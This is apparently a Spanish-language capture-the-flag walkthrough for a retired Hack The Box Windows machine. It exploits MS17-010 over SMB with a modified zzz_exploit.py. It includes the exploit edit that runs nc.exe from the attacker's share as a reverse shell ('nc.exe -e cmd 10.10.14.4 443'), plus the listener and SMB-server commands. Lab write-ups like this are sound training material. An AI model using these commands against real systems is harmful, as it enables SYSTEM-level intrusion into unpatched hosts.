Fecha de lanzamiento | 15 Mar 2017 |
Estado | Retirada |
Dificultad | Easy |
Plataforma | Windows |
IP | 10.10.10.4 |
Información de la máquina
RECONOCIMIENTO
Mediante el escaneo con la herramienta nmap podemos observar que existen dos puertos abiertos en la maquina: 139 y 445.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.4 -oG allPorts nmap -sCV -p139,445 10.10.10.4 -oN targeted
![](https://srmeirins.com/wp-content/uploads/2024/05/image.png)
![](https://srmeirins.com/wp-content/uploads/2024/05/image-1.png)
Si observamos el resultado de los scripts de nmap
, nos reporta que se trata de una versión de Windows obsoleta. Lo confirmamos también con la herramienta nxc
.
nxc smb 10.10.10.4
![](https://srmeirins.com/wp-content/uploads/2024/05/image-2-1024x52.png)
Al ser una versión tan antigua y tener expuesto el servicio SMB, lo mas seguro es que sea vulnerable a exploits SMB reconocidos. Para asegurarnos, vamos a correr scripts específicos de nmap
con la categoría «Vuln and Safe».
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbscripts
![](https://srmeirins.com/wp-content/uploads/2024/05/image-3.png)
Como temíamos, vulnerable a MS17-010.
EXPLOTACIÓN
Para esta vulnerabilidad, existe un exploit automatizado para la herramienta Metasploit
, pero vamos a intentar hacerlo de forma manual para desgranar la fase de explotación lo máximo posible.
Para ello vamos a hacer uso de un repositorio antiguo de Github, el cual nos vamos a clonar. Es importante recalcar que al ser antiguo, es un exploit programado en Python2
, por lo que es necesario tenerlo en nuestro equipo instalado. Hay numerosas maneras de obtener Python2
, como entornos dockerizados, entornos virtuales, y mas recursos existentes en Internet. En mi caso he realizado una descarga e instalación normal desde la web oficial de Python.
Una vez nos hemos clonado el repositorio, vamos a correr el archivo checker.py
, que nos va a dar información acerca de si es vulnerable el equipo y de los named pipes.
![](https://srmeirins.com/wp-content/uploads/2024/05/image-4.png)
De todos los scripts disponibles del repositorio, vamos a quedarnos con el que se llama zzz_exploit.py
. Nos lo vamos a abrir y vamos a modificar una serie de lineas.
Vamos a filtrar por la función smb_pwm
, y vamos a comentar todas las lineas en relación a la creación de un archivo .txt
, y por ultimo vamos a descomentar y modificar la linea service_exec
. Escribiremos lo siguiente, y a continuación explicare que significan estos comandos.
service_exec(conn, r'cmd /c //10.10.14.4/smb/nc.exe -e cmd 10.10.14.4 443')
Básicamente le estamos pidiendo que acceda a un directorio compartido de nuestro equipo y que ejecute un binario llamado nc.exe
con una serie de argumentos para entablarnos una conexión reversa con nuestro equipo.
![](https://srmeirins.com/wp-content/uploads/2024/05/image-5.png)
Antes de correr el script, evidentemente tenemos que ubicar el ejecutable de NetCat
, ofrecerlo como recurso a la maquina victima y a la vez ponernos en escucha por el puerto que hemos indicado (443).
Vamos a dividir la pantalla en tres terminales.
En la primera, localizamos el archivo de NetCat
, nos lo copiamos a nuestro directorio actual y lo compartimos mediante el script smbserver.py
. Tanto NetCat
como el script, forman parte del repositorio de SecLists
. Podéis clonarlo para tener la ultima versión.
smbserver.py smb $(pwd) -smb2support
En la segunda, mediante el uso de la herramienta rlwrap
y NetCat
, nos ponemos en escucha por el puerto 443.
rlwrap nc -lvnp 443
Por ultimo, en la tercera, vamos a correr el script (acordaros de que hay que usar Python2).
python2 zzz_exploit.py 10.10.10.4
Obtenemos acceso como SYSTEM al sistema, y ya podemos ver las dos flags para reportarlas en la plataforma.
![](https://srmeirins.com/wp-content/uploads/2024/05/image-6.png)